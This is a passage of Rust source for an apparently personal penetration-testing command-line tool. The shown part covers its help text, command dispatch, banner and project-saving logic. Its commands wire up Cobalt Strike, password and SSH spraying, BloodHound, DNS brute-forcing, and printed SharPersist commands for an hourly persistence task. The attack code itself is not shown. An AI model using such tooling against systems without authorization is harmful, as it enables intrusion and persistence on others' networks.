"parse gather contacts" | "pgc" | "parse contacts" | "pc" => lines.push("parse gather contacts||pgc, parse contacts, pc||This command parses output saved from the gather contacts burpsuite extension.".to_owned()) ,
|
||||||
|
"prune distroboxes" | "pdb" | "prune" => lines.push("prune distroboxes||pdb, prune||this command prunes distroboxes for all projects that are not being tracked by this tool (frees up system storage). This will start all the currently acvtive distorboxes to ensure they don't get pruned, and then will delete all the not-started distrobox volumes and resources.".to_owned()) ,
|
||||||
|
"clear" | "clear screen" | "cls" => lines.push("clear||clear screen, cls||This command clears the screen of command output.".to_owned()) ,
|
||||||
|
"exit" => lines.push("exit||(none)\nThis command exits the pentest_tool, it will save all project infomation, and wait for all threads to re-join the main thread before exiting.".to_owned()) ,
|
||||||
|
"settings" => lines.push("||The settings file is located at ~/.config/pyro_pentest_tool/conf||The format is setting_name:setting_value.||Needed settings are\n project_files - the place to store current project files folders|| projtect_notes - the place to store current project notes|| tools_folder - the place to store custom tools like those downloaded from github|| upcoming_files - the place to store upcoming project files folders|| upcoming_notes - The place to store upcoming project note files|| box_template - the name of the distrobox you want to clone for project boxes|| terminal - the command you use to launch a terminal, while running a specific Ex: konsole -e || cracking_rig - the user and host you use for a personal cracking rig in the openssh formating: Ex: pyro@cracking_rig or pyro@192.168.1.101 if you do not have a cracking rig the default is @n|| rockyou_location - the location on the cracking rig for the rockyou.txt file default is n|| rule_location - the location on the cracking rig for the one rule to rule them all file. Default is n|| pass_file - this is the location where you store your standard password spray file. If you do not have a custom one this tool provides one. The default is ~/.config/pyro_pentest_tool/passwordspary.md|| fingerprint - this is whether you want fingerprint authentication within your distroboxes, takes y/n|| vault_name - the name of your obsidian vault, default is notes||".to_owned()) ,
|
||||||
|
"parse normal nmap file" | "pnnf" | "parse nmap" | "pn" => lines.push("parse normal nmap file|| pnnf, parse nmap, pn||This command parses the normal output of an nmap scan (like if you just tee'd or >'d it to a file) and outputs in host:port or int the coablt strike tsv format. It will attempt to find the file within the active project's files folder, and if it can't find the file it will prompt you for input.".to_owned()),
|
||||||
|
"sharpersist command" | "spc" | "sharp scheduled task" | "sst" => lines.push(" sharpersist command|| spc, sharp scheduled task, sst||This comand prints the commands to run to use sharpersist.exe to create a scheduled task that runs hourly called FRPersist.".to_owned()),
|
||||||
|
"port scan" | "ps" | "nmap" | "nmap scan" | "ns" | "nm" => lines.push(" port scan|| ps, nmap, nmap scan, ns, nm||This command runs an nmap scan against the scope in the active projects notes, and saves the output.".to_owned()),
|
||||||
|
"show scope" | "ss" | "show s" | "s s" | "scope" => lines.push("show scope||ss, show s, s s, scope||This command displays the current project's scope as just the hosts in the scope table in your notes.".to_owned()),
|
||||||
|
"port scan command" | "psc" | "nmap command" | "nmc" => lines.push("port scan command||psc,nmap command, nmc||This command will print the nmap command to manually run a scan to the terminal so you can copy paste it.".to_owned()),
|
||||||
|
"update git tools" | "ugt" | "update git" | "ug" => lines.push(" update git tools|| update git, ugt, ug||This command attempts to update the git tools in your tools directory, it will attempt to update every directory as a git project. If the directory is not a git project it should just error out and continue to the next one.".to_owned()),
|
||||||
|
"dns records" | "dr" => lines.push("dnsrecords||dr||This command will run dns recon inside of your distrobox and save the results to your enumeration notes.".to_owned()),
|
||||||
|
"brute force subdomains"| "bsd" | "gobuster dns" | "gd" => lines.push("brute force subdomains||bsd,gobuster dns, gd||this command will run gobuster in the project's distrobox and save the results to your notes.".to_owned()),
|
||||||
|
"dns enumeration" | "de" | "all dns stuff" | "ads" | "dns stuff" | "ds" => lines.push("dns enumeration||de, all dns stuff, ads, dns stuff, de||This command will perform both dns record enumeration with dnsrecon, and subdomain enumeration using gobster inside of your distrobox and save the output to your notes.".to_owned()),
|
||||||
|
"modify tool config" | "mtc" => lines.push("modify tool config|| mtc||This command lets you modify the tool's configuration.".to_owned()),
|
||||||
|
"separate work and personal projects" | "swpp" | "separate projects" | "seppro" => lines.push("separate work and personal||swpp, separate projects, seppro||This command lets you separate work and personal projects into separate config files. This allows you to load personal and work projects separately!".to_owned()),
|
||||||
|
"switch to personal projects" | "switch personal" => lines.push("switch to personal projects||switch personal||This command lets you switch which config file is loaded to the personal config file.".to_owned()),
|
||||||
|
"switch to work projects" | "switch work" => lines.push("switch to work projects||switch work||This command lets you switch to load the work projects.".to_owned()),
|
||||||
|
"parse net view" | "pnv" => lines.push("parse net view||pnv||This command takes a text file of netview output and parses it into share paths".to_owned()),
|
||||||
|
_ => ()
|
||||||
|
}
|
||||||
|
tableize(lines);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
println!("Welcom to Pyro's pentest command line!");
|
||||||
|
println!("the pentest_tool uses a configuration file to store your settings. This configuration file is located at ~/.config/pyro_pentest_tool/conf.\nYou can modify this file, but do so cautiously, incorrect formatting will cause this program to have a bruh moment.\nThe correct format is setting_name:setting_value\nExample:\nprojecT_files:/var/home/pyro/pentests/current");
|
||||||
|
println!("for help configuring the settings file run help settings");
|
||||||
|
let lines = vec!["command||aliases".to_owned(),
|
||||||
|
"menu||main menu, mm".to_owned(),
|
||||||
|
"list projects||lp, listp, list p".to_owned(),
|
||||||
|
"switch project||sp, switch p, switchp".to_owned(),
|
||||||
|
"show active project||show active, sa, show a".to_owned(),
|
||||||
|
"create new project||cnp, new project, np".to_owned(),
|
||||||
|
"save projects||sp, save, s".to_owned(),
|
||||||
|
"import project||ip, import".to_owned(),
|
||||||
|
"remove project||rp, remove, rmp".to_owned(),
|
||||||
|
"show upcoming project||sup, show upcoming".to_owned(),
|
||||||
|
"promote project||pp, promote".to_owned(),
|
||||||
|
"new terminal||enter, enter terminal, nt, et".to_owned(),
|
||||||
|
"inline terminal||it, enter inline, ei".to_owned(),
|
||||||
|
"cobalt strike||cs".to_owned(),
|
||||||
|
"recreate distrobox||rdb, ndb, new distrobox".to_owned(),
|
||||||
|
"generate userpass||userpass, gup, up".to_owned(),
|
||||||
|
"inital enum||ie, enum".to_owned(),
|
||||||
|
"host discovery ||build host discovery, hd, bhd".to_owned(),
|
||||||
|
"port scan||cs port scan, cobaltstrike port scan, csps, ps".to_owned(),
|
||||||
|
"parse port scan ||pps, parse scan".to_owned(),
|
||||||
|
"stop boxes||stop distroboxes, sdb".to_owned(),
|
||||||
|
"password spray||pass spray, pas".to_owned(),
|
||||||
|
"bloodhound||bh".to_owned(),
|
||||||
|
"parse gather contacts||pgc, parse contacts, pc".to_owned(),
|
||||||
|
"prune distroboxes||pdb, prune".to_owned(),
|
||||||
|
"clear||clear screen, cls".to_owned(),
|
||||||
|
"parse nomral nmap file||pnnf, parse nmap, pn".to_owned(),
|
||||||
|
"show scope||ss, show s, s s, scope".to_owned(),
|
||||||
|
"sharpersist command||spc, sharp scheduled task".to_owned(),
|
||||||
|
"port scan||ps, nmap, nmap scan, ns, nm".to_owned(),
|
||||||
|
"port scan command||psc, nmap command, nmc".to_owned(),
|
||||||
|
"update git tools||ugt, update git, ug".to_owned(),
|
||||||
|
"dns records||dr".to_owned(),
|
||||||
|
"brute force subdomain||bsd, gobuster dns, gd".to_owned(),
|
||||||
|
"dns enumeration||de, all dns stuff, ads, dns stuff, ds".to_owned(),
|
||||||
|
"modify tool config||mtc".to_owned(),
|
||||||
|
"separate work and personal projects||swpp, separate projects, seppro".to_owned(),
|
||||||
|
"switch to personal projects||switch personal".to_owned(),
|
||||||
|
"switch to work projects||switch work".to_owned(),
|
||||||
|
"parse net view||pnv".to_owned(),
|
||||||
|
"help||?, -h".to_owned()];
|
||||||
|
println!("available commands:");
|
||||||
|
tableize(lines);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn get_active_project(projects: &Vec<Project>) -> Option<&Project>{
|
||||||
|
let mut active_project = &projects[0];
|
||||||
|
for project in projects{
|
||||||
|
if project.active == true{
|
||||||
|
active_project = project
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return Some(active_project)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn next_project_id(config_path: &PathBuf) -> Option<i32>{
|
||||||
|
let projects_res = project_controls::get_projects(config_path, false);
|
||||||
|
if projects_res.is_none(){
|
||||||
|
println!("{}", "Error loading projects!!".red());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let projects = projects_res.unwrap();
|
||||||
|
let mut new_id = 0;
|
||||||
|
for project in projects.clone(){
|
||||||
|
if project.id > new_id{
|
||||||
|
new_id = project.id + 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return Some(new_id);
|
||||||
|
}
|
||||||
|
#[allow(unused)]
|
||||||
|
pub fn run_command(cmd: String,
|
||||||
|
settings: &HashMap<&str, String>,
|
||||||
|
config_path: &PathBuf,
|
||||||
|
mut projects: &mut Vec<Project>) -> Option<JoinHandle<()>> {
|
||||||
|
let base_files = PathBuf::from(settings["project_files"].clone());
|
||||||
|
let base_notes = PathBuf::from(settings["project_notes"].clone());
|
||||||
|
let tools_dir = PathBuf::from(settings["tools_folder"].clone());
|
||||||
|
let boxtemplate= settings["box_template"].clone();
|
||||||
|
let terminal = settings["terminal_command"].clone();
|
||||||
|
let cracking_rig = settings["cracking_rig"].clone();
|
||||||
|
let rockyou = settings["rockyou"].clone();
|
||||||
|
let rule = settings["rule"].clone();
|
||||||
|
let upcoming_files = PathBuf::from(settings["upcoming_files"].clone());
|
||||||
|
let upcoming_notes = PathBuf::from(settings["upcoming_notes"].clone());
|
||||||
|
let password_spray_file = PathBuf::from(settings["pass_spray_file"].clone());
|
||||||
|
let fingerprint = settings["fingerprint"].to_lowercase().contains("y");
|
||||||
|
let vault_name = settings["vault_name"].clone();
|
||||||
|
let new_id_res = next_project_id(&config_path);
|
||||||
|
if new_id_res.is_none(){
|
||||||
|
println!("{}", "failed to get new project ID!".red());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let mut new_id = new_id_res.unwrap();
|
||||||
|
let active_project_res = get_active_project(&projects);
|
||||||
|
if active_project_res.is_none(){
|
||||||
|
println!("{}", "failed to get active project!".red());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let active_project = active_project_res.unwrap();
|
||||||
|
let mut notes_folder_string = format!("{}", &active_project.notes_folder.display());
|
||||||
|
let mut obsidian_folder_vec = PathBuf::new();
|
||||||
|
let mut reached_vault_folder = false;
|
||||||
|
for folder in notes_folder_string.split("/").collect::<Vec<&str>>(){
|
||||||
|
if !folder.contains(&vault_name){
|
||||||
|
reached_vault_folder = true;
|
||||||
|
obsidian_folder_vec.push(folder);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
if reached_vault_folder{
|
||||||
|
obsidian_folder_vec.push(folder);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let obsidian_uri = format!("obsidian://open?vault={}&file={}", vault_name, obsidian_folder_vec.display().to_string().replace("/", "%2F"));
|
||||||
|
let mut response = String::new();
|
||||||
|
let now = Local::now();
|
||||||
|
let month = now.month();
|
||||||
|
let year = now.year();
|
||||||
|
let mut season = String::new();
|
||||||
|
let mut lseason = String::new();
|
||||||
|
match month{
|
||||||
|
12 | 01 | 02 => {season = "Winter".to_owned(); lseason = "Fall".to_owned()},
|
||||||
|
03 | 04 | 05 => {season = "Spring".to_owned(); lseason = "Winter".to_owned()},
|
||||||
|
06 | 07 | 08 => {season = "Summer".to_owned(); lseason = "Spring".to_owned()},
|
||||||
|
09 | 10 | 11 => {season = "Fall".to_owned(); lseason = "Summer".to_owned()},
|
||||||
|
_ => {println!("error getting season! Check code..."); exit(1)}
|
||||||
|
}
|
||||||
|
if cmd.contains("help"){
|
||||||
|
if cmd.contains(" "){
|
||||||
|
let help_with = &cmd.split(" ").collect::<Vec<&str>>()[1].to_owned();
|
||||||
|
help(Some(help_with.to_owned()));
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
help(None);
|
||||||
|
}
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
match cmd.as_str(){
|
||||||
|
"list projects" | "lp" | "listp" | "list p" => {project_controls::list_projects(&projects); return None},
|
||||||
|
"switch project" | "swp" | "switch p" | "switchp" => {project_controls::switch_project(&mut projects); return None},
|
||||||
|
"show active project" | "show active" | "sa" | "show a" => {println!("\nclient: {}\n\nproject: {}\n\nbox: {}\n\nproject files: {}\n\nproject notes: {}\n", active_project.customer ,active_project.project_name, active_project.boxname, active_project.files_folder.display(), active_project.notes_folder.display()); return None},
|
||||||
|
"create new project" | "cnp" | "new project" | "np" => {new_id = new_id + 1; start_pentest::start_pentest(&config_path, &mut projects, new_id, &upcoming_files, &upcoming_notes, &boxtemplate, &password_spray_file); return None},
|
||||||
|
"save projects" | "sp" | "save" | "s" => {project_controls::save_projects(&projects, &config_path); return None},
|
||||||
|
"import project" | "ip" | "import" => {new_id = new_id + 1; project_controls::new_project(&mut projects, &base_files, &base_notes, &tools_dir, &boxtemplate, &config_path, new_id, &upcoming_files, &upcoming_notes, fingerprint); return None},
|
||||||
|
"remove project" | "rp" | "remove" | "rmp" => {project_controls::remove_project(&mut projects, &config_path); return None},
|
||||||
|
"show upcoming projects" | "sup" | "show upcoming" => {project_controls::print_upcoming_projects(&projects); return None},
|
||||||
|
"promote project" | "pp" | "promote" => {project_controls::promote_project(&mut projects, &config_path, &base_files, &base_notes, &tools_dir, &boxtemplate, fingerprint); return None},
|
||||||
|
"new terminal" | "enter" | "enter terminal" | "nt" | "et" => {box_controls::project_standalone_terminal(active_project.clone(), terminal.clone()); return None},
|
||||||
|
"inline terminal" | "it" | "enter inline" | "ei" => {box_controls::project_inline_terminal(active_project.clone()); return None},
|
||||||
|
"cobalt strike" | "cs" => {let cs_thread = box_controls::launch_cobalt_strike(active_project.clone()); return cs_thread},
|
||||||
|
"recreate distrobox" | "rdb" | "ndb" | "new distrobox" => {box_controls::make_box(&active_project, &tools_dir, &boxtemplate, false, fingerprint); return None},
|
||||||
|
"generate userpass" | "userpass" | "gup" | "up" => {info_controls::generate_userpass(&active_project); return None},
|
||||||
|
"inital enum" | "ie" | "enum" => {info_controls::run_initial_enum(&active_project); return None},
|
||||||
|
"build attack notes" | "ban" | "attack notes" | "hn" => {portscan_controls::build_cmd_for_host_discovery(&active_project); return None;}
|
||||||
|
"host discovery" | "build host discovery" | "hd" | "bhd" => {portscan_controls::build_cmd_for_host_discovery(&active_project); return None},
|
||||||
|
"cobaltstrike port scan" | "cs port scan" | "csps" => {portscan_controls::build_cs_portscan_cmd(&active_project); return None},
|
||||||
|
"parse port scan" | "pps" | "parse scan" => {portscan_controls::parse_csportscan(&active_project); return None},
|
||||||
|
"stop boxes" | "stop distroboxes" | "sdb" => {box_controls::stop_all_boxes(&projects); return None},
|
||||||
|
"password spray" | "pass spray" | "pas" => {info_controls::password_spray_help(&active_project, season, lseason, year, &tools_dir, &config_path); return None},
|
||||||
|
"bloodhound" | "bh" => {let bloodhound_handle = box_controls::launch_bloodhound_gui(active_project.clone()).unwrap(); return Some(bloodhound_handle);},
|
||||||
|
"parse gather contacts" | "pgc" | "parse contacts" | "pc" => {info_controls::partse_gathercontacts(&active_project); return None},
|
||||||
|
"prune distroboxes" | "pdb" | "prune" => {let prune_thread = box_controls::clean_unused_boxes(&projects, &boxtemplate); return prune_thread},
|
||||||
|
"parse normal nmap file" | "pnnf" | "parse nmap" | "pn" => {portscan_controls::parse_normal_nmap_output(&active_project); return None;},
|
||||||
|
"show scope" | "ss" | "show s" | "s s" | "scope" => {let scope_res = info_controls::get_scope_entries(&active_project); if scope_res.is_some(){for host in scope_res.unwrap(){println!("{}", host)}}return None},
|
||||||
|
"update git tools" | "ugt" | "update git" | "ug" => {tool_controls::update_git_tools(&tools_dir); return None},
|
||||||
|
"port scan" | "ps" | "nmap" | "nmap scan" | "ns" | "nm" => {portscan_controls::run_nmap_portscan(&active_project); return None;},
|
||||||
|
"port scan command" | "psc" | "nmap command" | "nmc" => {portscan_controls::build_nmap_command(&active_project); return None;}
|
||||||
|
"sharpersist command" | "spc" | "sharp scheduled task" | "sst" => {victim_commands::sharp_persist_command(&tools_dir); return None;},
|
||||||
|
"dns records" | "dr" => {let dns_handle = enumeration::run_dns_enumeration(&active_project, None, true); return dns_handle;},
|
||||||
|
"brute force subdomains"| "bsd" | "gobuster dns" | "gd" => {let gobuster_handle = enumeration::bruteforce_subs(&active_project, None,None, true); return gobuster_handle},
|
||||||
|
"dns enumeration" | "de" | "all dns stuff" | "ads" | "dns stuff" | "ds" => {let all_dns_handle = enumeration::do_all_dns_enumeration(&active_project); return all_dns_handle},
|
||||||
|
"dns squatting scan" | "dnstwist" | "dss" => {let twist_handle = enumeration::dns_squatting(&active_project, None, true); return twist_handle},
|
||||||
|
"print report information" | "pri" => {info_controls::print_report_information(&active_project); return None;},
|
||||||
|
"modify tool config" | "mtc" => {configuration::generate_tool_config(&config_path); return None;},
|
||||||
|
"separate work and personal projects" | "swpp" | "separate projects" | "seppro" => {project_controls::separate_personal_work_projects(&config_path); return None;}
|
||||||
|
"switch to personal projects" | "switch personal" => {let mut project_load_res = project_controls::swith_to_personal(&config_path); if project_load_res.is_some(){projects.clear();for project in project_load_res.unwrap(){projects.push(project);}}; return None;},
|
||||||
|
"switch to work projects" | "switch work" => {let mut project_load_res = project_controls::swith_to_work(&config_path); if project_load_res.is_some(){projects.clear();for project in project_load_res.unwrap(){projects.push(project);}}; return None;},
|
||||||
|
"ssh spray" | "sshs" | "spray ssh" => {exploit::ssh_spray(None, None, None, get_user_input("spraying with an ssh key?").contains("y")); return None;},
|
||||||
|
"show settings" | "print settings" | "shset" | "pset" => {configuration::print_settings(&settings); return None},
|
||||||
|
"parse net view" | "pnv" => {info_controls::parse_net_view(&active_project); return None;},
|
||||||
|
_ => {help(None); println!("\n\n unknown command."); return None;}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn print_banner(banner: &str){
|
||||||
|
print!("{}", banner.custom_color((255,165,0)));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
|
pub fn cli(mut projects: &mut Vec<Project>, config_path: &PathBuf) {
|
||||||
|
let mut threads = Vec::new();
|
||||||
|
let mut loopize = true;
|
||||||
|
let mut work_loaded = true;
|
||||||
|
let mut workspace_config_path = config_path.clone();
|
||||||
|
let mut workspace_settings_path = config_path.clone();
|
||||||
|
workspace_config_path.pop();
|
||||||
|
workspace_settings_path.pop();
|
||||||
|
let mut project_conf_path = config_path.clone();
|
||||||
|
let mut success_message = String::new();
|
||||||
|
project_conf_path.pop();
|
||||||
|
project_conf_path.push("projects.work");
|
||||||
|
let worksapces_in_use = project_conf_path.exists();
|
||||||
|
if worksapces_in_use{
|
||||||
|
work_loaded = get_user_input("is thie loading your work projects?").to_lowercase().contains("y");
|
||||||
|
}
|
||||||
|
let banner = "
|
||||||
|
,,,;;::ccccc::;;;::c::;,;::cccccllc::::::;:::;;;;,,;,'',,;,,;;;;;;;:;;;;;,,,,,,,,,,,'''''',,,,,,''''
|
||||||
|
,;;;::ccccc::::::ccc:;;;:ccccccclc::ccccccc::;;;;;;;;;;,,;;;;;;;;;;;;;;;,,,,,,,,,,,'''''''''',,,,,''
|
||||||
|
,;;:::ccc:cc:::ccc:::::::ccccclcccllccccllc::::::;;;;;;;;;;;;;;;;;;;;;;,,,,,,,,,,,''''''''...'',,,,'
|
||||||
|
,;;:::c::ccc::cc::::::::cclollllllolllllccccc::cc:::::;;;;;;;;;;;;;;;;;;,,,,,,,,,,'''''''''''..'',,,
|
||||||
|
,;::::::ccc::cc::::::ccloodollooooollllcccccc:llc::::::;;;;;;:;;;;;;;;;;;,,,,,,,,,,''''''''''''''',,
|
||||||
|
,;:::::c:::c::::ccccloddxxddxxddddodollllccclclcccccc:::::::::::::::;;;;;;;;,,,,,,,,,'''''''''''''',
|
||||||
|
;;:::::::c::c::clllodxxO0OKX0kkOkkxxxxxdooooolcccccccc:::::::cllc::::::::;;;;;,,,,,,,,,,'''''''''',,
|
||||||
|
;:::::c:cc::cclolclokO0KXNNX00KKK0O0KOxdxxdooccccclllccccccccdkdlcccccllcc::;;;;;;;;,,,,,,,,,,,',,,,
|
||||||
|
::::::cc::::coxdlllok00KNWNXXX0KXKOKNOkO0kddocccllllllccccclx0Kkodddoodddoollc::;;;;;;;;;,,,,,,,,,,,
|
||||||
|
:::::::c:::clkkodooxxkO0KX0xookKKkkKNKO0KkdoodolcllllollolldKNNXKKXKKKKKK0Okxdocc:cc:::;;;;;,,,,,,,,
|
||||||
|
::cc::cc::cldxllolodxxdoddc'.,okkxOXXOdxkxolkOdlllllllldkdokXNNNNNNNNX0kxollcc:::::cclc::;;;;;;,,,,,
|
||||||
|
:::::::cccldko:,.';cc:;:;....;clllOXOxxOkocoK0xooddollx0Odd0XNNNNNX0Oxdolcccc::;;;;;;:cllc:;;:;,,,,,
|
||||||
|
;;::c:::ccldkl;'...,''''....',;,';dxdkkdc;cONKxxOOOxddOXOdx0XXNNWNOdddxkOOOOkdllc:;,,,;cool:;;;;;,,;
|
||||||
|
,;;::;;::llco:,'..''..,.......''.';:ldl;,,:xXNOOXXX0xdkOOddkXNNWWWX00KXNNX0kxddddol:,''';lol:;;:;;,;
|
||||||
|
,,,;;;;;:coc;;'..;;. .,,;'.......':dxdc;ldc,l00xkXNKxodkkkkk0XNWWMWWWNXKOxdooolooool:;'..,lol::::;;;
|
||||||
|
',,,;;;;:cllc;,..',. ','. .....;odoo:;co:.'ldldOOx::x0KXX0kk0XNWWWXOxdoooollllllllcc:'..':lc:::;;;
|
||||||
|
',,,;;;;;:cccc:,. . ..;cccccc:,,''.',,:l:;;:oOXXKOOOkxOXNNNXOxddooooollllllllc,....:c:::;;;
|
||||||
|
''',,,;;;;;;;cll,.. .. .':lc:c:;,,......,,;:;;:cokkxxO00O0KXNNN0kxkkkxddoollllllll:'...':::::::
|
||||||
|
.''',,,,,,,,,;:c:,.. ..'. ..','',;;'........',,;:;:::cdxxxddkKXXXKKKKXXXXXX0kdoloolllol;....,;:::::
|
||||||
|
..'''',,'',,,;;:::;..... ............... .'.....,;,',:ldc;:ldOKKK00KNWWWNNXK0xoooodooooo:'...';;;:;;
|
||||||
|
....'''''',,;;::cll:,''...... . ..........'...,;;l:,,;oddkOOKNWWWWNX0kdodxxxxdddooc,...',;;;;,
|
||||||
|
......''''',;::cloodddol;. ...........',.;;,,',:cxdd0KXXKKKXKOkxxkkkxdddooc,...';;,,,,
|
||||||
|
........''',;:clloddxxdo:'. .. ...........''.'',;c:;cccodddk0KX0OOkxddddddo:...';;;;,,'
|
||||||
|
..........',;:cclodxxkxdl:,.. ... ......'....'..':c,..'.,c,,,.,cxkO00Okxdddddc'..';:;;;,,'
|
||||||
|
..........',;;:cloodxkkkdol:'. . ... ...... ......';c'.'...:;',;,'..,lxO00Oxxxo:'...,::;;,,,,
|
||||||
|
...........',;;:clodxkOOkxdol;. .. .. ... ....',::'.''.',.........'oxdxxxdl;...';::;;;,,''
|
||||||
|
............',;:clodxkkOOOxddo;. ...... ........',,',................';:clc;,...';::;;,,,'''
|
||||||
|
............',;:cldxkkOkkkxdddo;. ..... .........,'...........'''','.',,'''....,cc:;;,,'''..
|
||||||
|
.............';:cldxxkkkkxddddxl,. .... .;c;'...................',;;cc;'...';clolc:;,,'''...
|
||||||
|
............'';clodxkkkkkxddddddl' ... .:lc;'................. ....',,''';lxkxdlc:;,'''....
|
||||||
|
........',,;:;coddxkOOOOOkxxddddd:. ... ..,''.................. . ..;cdkkkkxoc:;,'''.....
|
||||||
|
......',;::cllodxkkOOOOOOkxxxddddc. ... ..,;,'................... .. .':odO0Okdl:;,'''......
|
||||||
|
.....',;:cloddxxkOOOOOOOkkxxdoooo;. .. ......................... .';cokOOxlc:;,''.......
|
||||||
|
....,;:clodxxkkOOOkO0OOOOxdlcc;;,...... .';,................. ...',:ldxxxdlc;,''.......
|
||||||
|
...,:clodooxkkkO0OxO00OOxo:;;,. ........ .''.......... .. .. ..,,,;:codxxdlc:;,'.......
|
||||||
|
'',;clodolokOkxkOkkO00Oko:;;;. ..... .. .,,........'. .. .. .. ..........;:codocclc:,,'......
|
||||||
|
___ __ __ ___ __ ___ __
|
||||||
|
| | |__ | / ` / \\ |\\/| |__ |__| /\\ / ` |__/ |__ |__)
|
||||||
|
|/\\| |___ |___ \\__, \\__/ | | |___ | | /~~\\ \\__, | \\ |___ | \\
|
||||||
|
|
||||||
|
__ ___ ___ __ __
|
||||||
|
/ _` |__ | |__) | | |\\ | | |\\ | / _`
|
||||||
|
\\__> |___ | | |/\\| | \\| | | \\| \\__>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
";
|
||||||
|
print_banner(banner);
|
||||||
|
while loopize{
|
||||||
|
let settings = configuration::load_config(config_path);
|
||||||
|
project_controls::save_projects(&projects, &config_path);
|
||||||
|
let active_project_res = get_active_project(&projects);
|
||||||
|
if active_project_res.is_none(){
|
||||||
|
println!("{}", "failed to get active project!".red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let active_project = active_project_res.unwrap();
|
||||||
|
let current_information = format!("
|
||||||
|
Active Project: {}, {}
|
||||||
|
Project Status: {}
|
||||||
|
Files Folder: {}
|
||||||
|
Notes Folder: {}
|
||||||
|
Boxname: {}
|
||||||
|
Obsidian URI: {}
|
||||||
|
|
||||||
|
for help enter help or ?. for information about a specific command enter help (command)
|
||||||
|
|
||||||
|
|
||||||
|
", active_project.customer.green(), active_project.project_name.green(), active_project.stage.green(), active_project.files_folder.display().to_string().green(), active_project.notes_folder.display().to_string().green(), active_project.boxname.green(), "coming soon".red());
|
||||||
|
load_config(config_path);
|
||||||
|
|
||||||
|
let prompt = format!("\n{}:{}\nCommand?", active_project.customer.custom_color((255,165,0)), active_project.project_name.custom_color((255,165,0)));
|
||||||
|
let command = get_user_input(&prompt);
|
||||||
|
if command.contains("switch work") || command.contains("switch to work projects"){
|
||||||
|
work_loaded = true;
|
||||||
|
}
|
||||||
|
else if command.contains("switch personal") || command.contains("switch to personal projects"){
|
||||||
|
work_loaded = false;
|
||||||
|
}
|
||||||
|
match command.as_str(){
|
||||||
|
"exit" => loopize = false,
|
||||||
|
"menu" | "main menu" | "mm" => {let menu_thread_option = menu::main_menu(&mut projects, config_path.clone(), &settings);},
|
||||||
|
"print banner" | "banner" => print_banner(banner),
|
||||||
|
"clear" | "clear screen" | "cls" => {clear().unwrap(); print_banner(banner);},
|
||||||
|
"list threads" | "threads" | "lst" => println!("There are {} threads still running.", threads.len()),
|
||||||
|
"info" => println!("{}", current_information),
|
||||||
|
"test_table" => {let mut lines = Vec::new(); lines.push("column1||column2||column3||column4".to_owned()); lines.push("thing1||thing2||thing3||thing4".to_owned()); lines.push("ttttttttttttttttthing5||thing6||thing7||thing8".to_owned()); tableize(lines);}
|
||||||
|
_ => {let thread_option = run_command(command, &settings, config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
project_controls::save_projects(&projects, &config_path);
|
||||||
|
if get_user_input("do you want to stop all the boxes?").contains("y"){
|
||||||
|
box_controls::stop_all_boxes(&projects);
|
||||||
|
}
|
||||||
|
print_informational("saving workspace projects...");
|
||||||
|
let worksapces_in_use = project_conf_path.exists();
|
||||||
|
if worksapces_in_use{
|
||||||
|
if work_loaded{
|
||||||
|
print_informational("saving projects.work");
|
||||||
|
workspace_config_path.push("projects.work");
|
||||||
|
workspace_settings_path.push("conf.working");
|
||||||
|
success_message = String::from("projects.conf saved to projects.work\nconf saved to conf.working");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
print_informational("saving projects.personal");
|
||||||
|
workspace_config_path.push("projects.personal");
|
||||||
|
workspace_settings_path.push("conf.personal");
|
||||||
|
success_message = String::from("projects.conf saved to projects.personal\nconf saved to conf.personal");
|
||||||
|
}
|
||||||
|
let open_res = OpenOptions::new().create(true).write(true).open(workspace_config_path);
|
||||||
|
if open_res.is_err(){
|
||||||
|
print_error("error opeing workspace config file!", open_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
project_conf_path.pop();
|
||||||
|
project_conf_path.push("projects.conf");
|
||||||
|
let mut workspace_config_file = open_res.unwrap();
|
||||||
|
let projects_read_res = read_to_string(project_conf_path);
|
||||||
|
if projects_read_res.is_ok(){
|
||||||
|
let project_string = projects_read_res.unwrap();
|
||||||
|
let write_res = write!(workspace_config_file, "{}", project_string);
|
||||||
|
if write_res.is_err(){
|
||||||
|
print_error("error writing workspace config file!", write_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
print_error("error reading projects config file!", projects_read_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let remove_res = fs::remove_file(&workspace_settings_path);
|
||||||
|
if remove_res.is_err(){
|
||||||
|
print_error("error removing to save over workspace settings!", remove_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
remove_res.unwrap();
|
||||||
|
let copy_res = fs::copy(config_path, &workspace_settings_path);
|
||||||
|
if copy_res.is_err(){
|
||||||
|
print_error("error copying worksapce settings!", copy_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
print_success(success_message);
|
||||||
|
}
|
||||||
|
if threads.len() > 0{
|
||||||
|
println!("closing threads...");
|
||||||
|
println!("note this will hang until all threads have completed");
|
||||||
|
println!("please make sure to close all spawned programs such as cobalt strike and bloodhound.");
|
||||||
|
for thread in threads{
|
||||||
|
let _ = thread.join();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if worksapces_in_use{
|
||||||
|
print_success("projects saved to projects.conf, workspace projects updated, workspace settings saved, threads finished. pentest_tool OUT!");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
print_success("projects saved to projects.conf, threads finished. pentest_tool OUT!");
|
